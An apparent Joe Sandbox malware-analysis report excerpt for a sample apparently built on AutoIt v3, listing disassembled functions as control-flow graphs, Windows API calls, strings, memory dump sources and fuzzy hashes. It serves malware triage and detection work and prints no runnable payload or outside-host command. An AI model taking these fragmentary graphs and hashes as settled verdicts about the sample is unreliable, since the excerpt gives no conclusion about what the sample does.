                                                          control_flow_graph 189 7ff787b8e958-7ff787b8e9ae 190 7ff787bd27e4-7ff787bd27ea DestroyWindow 189->190 191 7ff787b8e9b4-7ff787b8e9d3 mciSendStringW 189->191 194 7ff787bd27f0-7ff787bd2801 190->194 192 7ff787b8e9d9-7ff787b8e9e3 191->192 193 7ff787b8ecbd-7ff787b8ecce 191->193 192->194 195 7ff787b8e9e9 192->195 196 7ff787b8ecd0-7ff787b8ecf0 UnregisterHotKey 193->196 197 7ff787b8ecf7-7ff787b8ed01 193->197 199 7ff787bd2803-7ff787bd2806 194->199 200 7ff787bd2835-7ff787bd283f 194->200 198 7ff787b8e9f0-7ff787b8e9f3 195->198 196->197 201 7ff787b8ecf2 call 7ff787b8f270 196->201 197->192 202 7ff787b8ed07 197->202 203 7ff787b8ecb0-7ff787b8ecb8 call 7ff787b75410 198->203 204 7ff787b8e9f9-7ff787b8ea08 call 7ff787b73aa8 198->204 205 7ff787bd2813-7ff787bd2817 FindClose 199->205 206 7ff787bd2808-7ff787bd2811 call 7ff787b78314 199->206 200->194 208 7ff787bd2841 200->208 201->197 202->193 203->198 218 7ff787b8ea0f-7ff787b8ea12 204->218 212 7ff787bd281d-7ff787bd282e 205->212 206->212 217 7ff787bd2846-7ff787bd284f call 7ff787c08c00 208->217 212->200 216 7ff787bd2830 call 7ff787bf3180 212->216 216->200 217->218 218->217 222 7ff787b8ea18 218->222 223 7ff787b8ea1f-7ff787b8ea22 222->223 224 7ff787bd2854-7ff787bd285d call 7ff787be46cc 223->224 225 7ff787b8ea28-7ff787b8ea32 223->225 224->223 227 7ff787bd2862-7ff787bd2873 225->227 228 7ff787b8ea38-7ff787b8ea42 225->228 230 7ff787bd2875 FreeLibrary 227->230 231 7ff787bd287b-7ff787bd2885 227->231 232 7ff787bd288c-7ff787bd289d 228->232 233 7ff787b8ea48-7ff787b8ea76 call 7ff787b813e0 228->233 230->231 231->227 234 7ff787bd2887 231->234 235 7ff787bd289f-7ff787bd28c2 VirtualFree 232->235 236 7ff787bd28c9-7ff787bd28d3 232->236 242 7ff787b8eabf-7ff787b8eacc OleUninitialize 233->242 243 7ff787b8ea78 233->243 234->232 235->236 238 7ff787bd28c4 call 7ff787bf321c 235->238 236->232 240 7ff787bd28d5 236->240 238->236 244 7ff787bd28da-7ff787bd28de 240->244 242->244 245 7ff787b8ead2-7ff787b8ead9 242->245 246 7ff787b8ea7d-7ff787b8eabd call 7ff787b8f1c4 call 7ff787b8f13c 243->246 244->245 247 7ff787bd28e4-7ff787bd28ef 244->247 248 7ff787b8eadf-7ff787b8eaea 245->248 249 7ff787bd28f4-7ff787bd2903 call 7ff787bf31d4 245->249 246->242 247->245 253 7ff787b8eaf0-7ff787b8eb22 call 7ff787b7a07c call 7ff787b8f08c call 7ff787b739bc 248->253 254 7ff787b8ed09-7ff787b8ed18 call 7ff787b942a0 248->254 261 7ff787bd2905 249->261 273 7ff787b8eb24-7ff787b8eb29 call 7ff787b94c24 253->273 274 7ff787b8eb2e-7ff787b8ebc4 call 7ff787b739bc call 7ff787b7a07c call 7ff787b745c8 * 2 call 7ff787b7a07c * 3 call 7ff787b813e0 call 7ff787b8ee68 call 7ff787b8ee2c * 3 253->274 254->253 265 7ff787b8ed1e 254->265 266 7ff787bd290a-7ff787bd2919 call 7ff787be3a78 261->266 265->254 272 7ff787bd291b 266->272 278 7ff787bd2920-7ff787bd292f call 7ff787b8e4e4 272->278 273->274 274->266 316 7ff787b8ebca-7ff787b8ebdc call 7ff787b739bc 274->316 283 7ff787bd2931 278->283 286 7ff787bd2936-7ff787bd2945 call 7ff787bf3078 283->286 292 7ff787bd2947 286->292 295 7ff787bd294c-7ff787bd295b call 7ff787bf31a8 292->295 301 7ff787bd295d 295->301 305 7ff787bd2962-7ff787bd2971 call 7ff787bf31a8 301->305 310 7ff787bd2973 305->310 310->310 316->278 319 7ff787b8ebe2-7ff787b8ebec 316->319 319->286 320 7ff787b8ebf2-7ff787b8ec08 call 7ff787b7a07c 319->320 323 7ff787b8ed20-7ff787b8ed25 call 7ff787b94c24 320->323 324 7ff787b8ec0e-7ff787b8ec18 320->324 323->190 325 7ff787b8ec8a-7ff787b8eca9 call 7ff787b7a07c call 7ff787b94c24 324->325 326 7ff787b8ec1a-7ff787b8ec24 324->326 338 7ff787b8ecab 325->338 326->295 328 7ff787b8ec2a-7ff787b8ec3b 326->328 328->305 331 7ff787b8ec41-7ff787b8ed71 call 7ff787b7a07c * 3 call 7ff787b8ee10 call 7ff787b8ed8c 328->331 347 7ff787b8ed77-7ff787b8ed88 331->347 348 7ff787bd2978-7ff787bd2987 call 7ff787bfd794 331->348 338->326 351 7ff787bd2989 348->351 351->351
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: DestroySendStringUninitializeUnregisterWindow
                                                          • String ID: close all
                                                          • API String ID: 1992507300-3243417748
                                                          • Opcode ID: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                          • Instruction ID: db6c15d45fc886f0ce16b84613fa82e5d4280e1d1baa84e4667c9b668a52a624
                                                          • Opcode Fuzzy Hash: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                          • Instruction Fuzzy Hash: ACE14131B8994281EE54FB56C5942BCAB62BF84B85FA44075DB0F57291DF3CE863C720
                                                          Function 00007FF787B73B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                          • String ID: AutoIt v3
                                                          • API String ID: 423443420-1704141276
                                                          • Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                          • Instruction ID: 201e9bfa1457752c9d9ec03555811fafbb28c341e5f71f5ad9dcffe370a3c294
                                                          • Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                          • Instruction Fuzzy Hash: 81314836A58B429AE710EB50F8847B9B378FB48755FA04139C99E27B24DF7CD096C720
                                                          Function 00007FF787BB7348 Relevance: 13.8, APIs: 9, Instructions: 272fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 419 7ff787bb7348-7ff787bb73ba call 7ff787bb7078 422 7ff787bb73d3-7ff787bb73dd call 7ff787bae418 419->422 423 7ff787bb73bc-7ff787bb73c4 call 7ff787ba55b4 419->423 428 7ff787bb73df-7ff787bb73f5 call 7ff787ba55b4 call 7ff787ba55d4 422->428 429 7ff787bb73f7-7ff787bb7463 CreateFileW 422->429 430 7ff787bb73c7-7ff787bb73ce call 7ff787ba55d4 423->430 428->430 432 7ff787bb7469-7ff787bb7470 429->432 433 7ff787bb74eb-7ff787bb74f6 GetFileType 429->433 441 7ff787bb771a-7ff787bb7736 430->441 438 7ff787bb7472-7ff787bb7476 432->438 439 7ff787bb74b8-7ff787bb74e6 GetLastError call 7ff787ba5564 432->439 435 7ff787bb7549-7ff787bb754f 433->435 436 7ff787bb74f8-7ff787bb7533 GetLastError call 7ff787ba5564 CloseHandle 433->436 444 7ff787bb7551-7ff787bb7554 435->444 445 7ff787bb7556-7ff787bb7559 435->445 436->430 453 7ff787bb7539-7ff787bb7544 call 7ff787ba55d4 436->453 438->439 446 7ff787bb7478-7ff787bb74b6 CreateFileW 438->446 439->430 450 7ff787bb755e-7ff787bb75ac call 7ff787bae334 444->450 445->450 451 7ff787bb755b 445->451 446->433 446->439 458 7ff787bb75c0-7ff787bb75ea call 7ff787bb6de4 450->458 459 7ff787bb75ae-7ff787bb75ba call 7ff787bb7284 450->459 451->450 453->430 466 7ff787bb75fe-7ff787bb7643 458->466 467 7ff787bb75ec 458->467 464 7ff787bb75ef-7ff787bb75f9 call 7ff787bb04b8 459->464 465 7ff787bb75bc 459->465 464->441 465->458 469 7ff787bb7665-7ff787bb7671 466->469 470 7ff787bb7645-7ff787bb7649 466->470 467->464 473 7ff787bb7677-7ff787bb767b 469->473 474 7ff787bb7718 469->474 470->469 472 7ff787bb764b-7ff787bb7660 470->472 472->469 473->474 475 7ff787bb7681-7ff787bb76c9 CloseHandle CreateFileW 473->475 474->441 476 7ff787bb76fe-7ff787bb7713 475->476 477 7ff787bb76cb-7ff787bb76f9 GetLastError call 7ff787ba5564 call 7ff787bae548 475->477 476->474 477->476
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                          • String ID:
                                                          • API String ID: 1617910340-0
                                                          • Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                          • Instruction ID: fd943972c166616a2fd23544bea577c5c12326bfb9902c328271570e68ad821f
                                                          • Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                          • Instruction Fuzzy Hash: 28C1C032B68A418AEB10EF65D4813AC7B62FB49BA8F541236DE1F5B795DF38D016C310
                                                          Function 00007FF787B825BC Relevance: 12.4, APIs: 8, Instructions: 442windowtimeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 557 7ff787b825bc-7ff787b8263d 561 7ff787b8287e-7ff787b828af 557->561 562 7ff787b82643-7ff787b8267c 557->562 564 7ff787b82680-7ff787b82687 562->564 565 7ff787b8268d-7ff787b826a1 564->565 566 7ff787b82856-7ff787b82876 564->566 568 7ff787b826a7-7ff787b826bc 565->568 569 7ff787bcd148-7ff787bcd14f 565->569 566->561 570 7ff787b829c8-7ff787b829eb PeekMessageW 568->570 571 7ff787b826c2-7ff787b826c9 568->571 572 7ff787bcd155 569->572 573 7ff787b82702-7ff787b82723 569->573 574 7ff787b826e8-7ff787b826ef 570->574 575 7ff787b829f1-7ff787b829f5 570->575 571->570 576 7ff787b826cf-7ff787b826d4 571->576 584 7ff787bcd15a-7ff787bcd160 572->584 589 7ff787b8276e-7ff787b827d2 573->589 590 7ff787b82725-7ff787b8272c 573->590 581 7ff787bce285-7ff787bce293 574->581 582 7ff787b826f5-7ff787b826fc 574->582 578 7ff787b829fb-7ff787b82a05 575->578 579 7ff787bcd1aa-7ff787bcd1bb 575->579 576->570 580 7ff787b826da-7ff787b826e2 GetInputState 576->580 578->584 587 7ff787b82a0b-7ff787b82a1d call 7ff787b92de8 578->587 579->574 580->570 580->574 588 7ff787bce29d-7ff787bce2b5 call 7ff787b8f1c4 581->588 582->573 582->588 585 7ff787bcd162-7ff787bcd176 584->585 586 7ff787bcd19b 584->586 585->586 591 7ff787bcd178-7ff787bcd17f 585->591 586->579 603 7ff787b82a33-7ff787b82a4f PeekMessageW 587->603 604 7ff787b82a1f-7ff787b82a2d TranslateMessage DispatchMessageW 587->604 588->566 627 7ff787bce276 589->627 628 7ff787b827d8-7ff787b827da 589->628 590->589 595 7ff787b8272e-7ff787b82738 590->595 591->586 596 7ff787bcd181-7ff787bcd190 TranslateAcceleratorW 591->596 600 7ff787b8273f-7ff787b82742 595->600 596->587 601 7ff787bcd196 596->601 605 7ff787b82748 600->605 606 7ff787b828b0-7ff787b828b7 600->606 601->603 603->574 610 7ff787b82a55 603->610 604->603 611 7ff787b8274f-7ff787b82752 605->611 608 7ff787b828eb-7ff787b828ef 606->608 609 7ff787b828b9-7ff787b828cc timeGetTime 606->609 608->600 615 7ff787bcd2ab-7ff787bcd2b0 609->615 616 7ff787b828d2-7ff787b828d7 609->616 610->575 612 7ff787b82758-7ff787b82761 611->612 613 7ff787b828f4-7ff787b828fb 611->613 617 7ff787b82767 612->617 618 7ff787bcd4c7-7ff787bcd4ce 612->618 623 7ff787bcd2f8-7ff787bcd303 613->623 624 7ff787b82901-7ff787b82905 613->624 620 7ff787b828dc-7ff787b828e5 615->620 621 7ff787bcd2b6 615->621 616->620 622 7ff787b828d9 616->622 617->589 620->608 629 7ff787bcd2bb-7ff787bcd2f3 timeGetTime call 7ff787b92ac0 call 7ff787bf3a28 620->629 621->629 622->620 625 7ff787bcd305 623->625 626 7ff787bcd309-7ff787bcd30c 623->626 624->611 625->626 630 7ff787bcd312-7ff787bcd319 626->630 631 7ff787bcd30e 626->631 627->581 628->627 632 7ff787b827e0-7ff787b827ee 628->632 629->608 634 7ff787bcd322-7ff787bcd329 630->634 635 7ff787bcd31b 630->635 631->630 632->627 636 7ff787b827f4-7ff787b82819 632->636 638 7ff787bcd332-7ff787bcd33d call 7ff787b942a0 634->638 639 7ff787bcd32b 634->639 635->634 640 7ff787b8290a-7ff787b8290d 636->640 641 7ff787b8281f-7ff787b82829 call 7ff787b82b70 636->641 638->605 639->638 645 7ff787b82931-7ff787b82933 640->645 646 7ff787b8290f-7ff787b8291a call 7ff787b82e30 640->646 651 7ff787b8282e-7ff787b82836 641->651 648 7ff787b82935-7ff787b82949 call 7ff787b866c0 645->648 649 7ff787b82971-7ff787b82974 645->649 646->651 660 7ff787b8294e-7ff787b82950 648->660 655 7ff787b8297a-7ff787b82997 call 7ff787b801a0 649->655 656 7ff787bcdfbe-7ff787bcdfc0 649->656 657 7ff787b8299e-7ff787b829ab 651->657 658 7ff787b8283c 651->658 671 7ff787b8299c 655->671 662 7ff787bcdfc2-7ff787bcdfc5 656->662 663 7ff787bcdfed-7ff787bcdff6 656->663 664 7ff787bce181-7ff787bce197 call 7ff787b94c24 * 2 657->664 665 7ff787b829b1-7ff787b829be call 7ff787b94c24 657->665 659 7ff787b82840-7ff787b82843 658->659 666 7ff787b82849-7ff787b82850 659->666 667 7ff787b82b17-7ff787b82b1d 659->667 660->651 670 7ff787b82956-7ff787b82966 660->670 662->659 673 7ff787bcdfcb-7ff787bcdfe7 call 7ff787b83c20 662->673 668 7ff787bce005-7ff787bce00c 663->668 669 7ff787bcdff8-7ff787bce003 663->669 664->627 665->570 666->564 666->566 667->666 677 7ff787b82b23-7ff787b82b2d 667->677 675 7ff787bce00f-7ff787bce016 call 7ff787c08b98 668->675 669->675 670->651 676 7ff787b8296c 670->676 671->660 673->663 688 7ff787bce01c-7ff787bce036 call 7ff787bf34e4 675->688 689 7ff787bce0d7-7ff787bce0d9 675->689 682 7ff787bce0f4-7ff787bce10e call 7ff787bf34e4 676->682 677->569 694 7ff787bce110-7ff787bce11d 682->694 695 7ff787bce147-7ff787bce14e 682->695 705 7ff787bce06f-7ff787bce076 688->705 706 7ff787bce038-7ff787bce045 688->706 691 7ff787bce0df-7ff787bce0ee call 7ff787c0a320 689->691 692 7ff787bce0db 689->692 691->682 692->691 696 7ff787bce135-7ff787bce142 call 7ff787b94c24 694->696 697 7ff787bce11f-7ff787bce130 call 7ff787b94c24 * 2 694->697 695->666 698 7ff787bce154-7ff787bce15a 695->698 696->695 697->696 698->666 703 7ff787bce160-7ff787bce169 698->703 703->664 705->666 708 7ff787bce07c-7ff787bce082 705->708 710 7ff787bce05d-7ff787bce06a call 7ff787b94c24 706->710 711 7ff787bce047-7ff787bce058 call 7ff787b94c24 * 2 706->711 708->666 714 7ff787bce088-7ff787bce091 708->714 710->705 711->710 714->689
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Message$Peek$DispatchInputStateTimeTranslatetime
                                                          • String ID:
                                                          • API String ID: 3249950245-0
                                                          • Opcode ID: 3a286bfa12772c63719834a724bea86a086cad30a8da92a7678ebbb259785280
                                                          • Instruction ID: 600d4a612b7f85bdc0e5092784999adaacb112c294797abd75f16e35826d04f8
                                                          • Opcode Fuzzy Hash: 3a286bfa12772c63719834a724bea86a086cad30a8da92a7678ebbb259785280
                                                          • Instruction Fuzzy Hash: 3E22B73694C68286FB64AB64D4843F9BBA2FF45794FA44139CA4F47695CF3CE482C720
                                                          Function 00007FF787B73CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 849 7ff787b73cbc-7ff787b73d88 CreateWindowExW * 2 ShowWindow * 2
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$Create$Show
                                                          • String ID: AutoIt v3$d$edit
                                                          • API String ID: 2813641753-2600919596
                                                          • Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                          • Instruction ID: 1592b98e798de656c9780563af8bcdb9a856540e613100bcd4c460695e64780f
                                                          • Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                          • Instruction Fuzzy Hash: C0216D72A68B41C6E710DF10F48972AB7E4F788799FA08238D69E57654CFBDD086CB10
                                                          Function 00007FF787B95244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
                                                          • String ID:
                                                          • API String ID: 2117695475-0
                                                          • Opcode ID: c5af1a2945e0b28d35ed004d247bbfb317608e89d5a488d8119e5cdd6fee6e2c
                                                          • Instruction ID: 7890962df0ed7b627e187dc79f3e3a1b3433ce66e037bd6b9f9b952f16a8cd6e
                                                          • Opcode Fuzzy Hash: c5af1a2945e0b28d35ed004d247bbfb317608e89d5a488d8119e5cdd6fee6e2c
                                                          • Instruction Fuzzy Hash: 9211BB60EE914305FA15B3B154AA3BAEA836F41351FF00038E82F962C3FD1CA447C232
                                                          Function 00007FF787B77EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185comCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92D8E
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92D9C
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92DAC
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92DBC
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92DCA
                                                            • Part of subcall function 00007FF787B92D5C: MapVirtualKeyW.USER32(?,?,?,00007FF787B77FA5), ref: 00007FF787B92DD8
                                                            • Part of subcall function 00007FF787B8EEC8: RegisterWindowMessageW.USER32 ref: 00007FF787B8EF76
                                                          • GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF787B7106D), ref: 00007FF787B78209
                                                          • OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF787B7106D), ref: 00007FF787B7828F
                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF787B7106D), ref: 00007FF787BBD36A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                          • String ID: AutoIt
                                                          • API String ID: 1986988660-2515660138
                                                          • Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                          • Instruction ID: ad2cbb800059a36e769df289e5872f8634d171eb4a2d83f17727c94877a543aa
                                                          • Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                          • Instruction Fuzzy Hash: 7AC1C471D99B4285E740EB14E8C1874B7ACBF94740FB0823ED46E63661DFBCA192C7A0
                                                          Function 00007FF787B772C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconLoadNotifyShell_Stringwcscpy
                                                          • String ID: Line:
                                                          • API String ID: 3135491444-1585850449
                                                          • Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                          • Instruction ID: 1e4999055646cd8195f28aeba44955e834c92e716f34195503d4eabfb84a971a
                                                          • Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                          • Instruction Fuzzy Hash: 8941B631A4D68297E720FB24D4402F9A766FF44384FE44035DA4E0B699DF7CE946C760
                                                          Function 00007FF787B73F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetOpenFileNameW.COMDLG32 ref: 00007FF787BBBAA2
                                                            • Part of subcall function 00007FF787B756D4: GetFullPathNameW.KERNEL32(?,00007FF787B756C1,?,00007FF787B77A0C,?,?,?,00007FF787B7109E), ref: 00007FF787B756FF
                                                            • Part of subcall function 00007FF787B73EB4: GetLongPathNameW.KERNELBASE ref: 00007FF787B73ED8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Name$Path$FileFullLongOpen
                                                          • String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
                                                          • API String ID: 779396738-2360590182
                                                          • Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                          • Instruction ID: ce10c41592b33acd77e852d850cbe5ab67b1aaf4d6b1b84ec13dbfacbb9ecd81
                                                          • Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
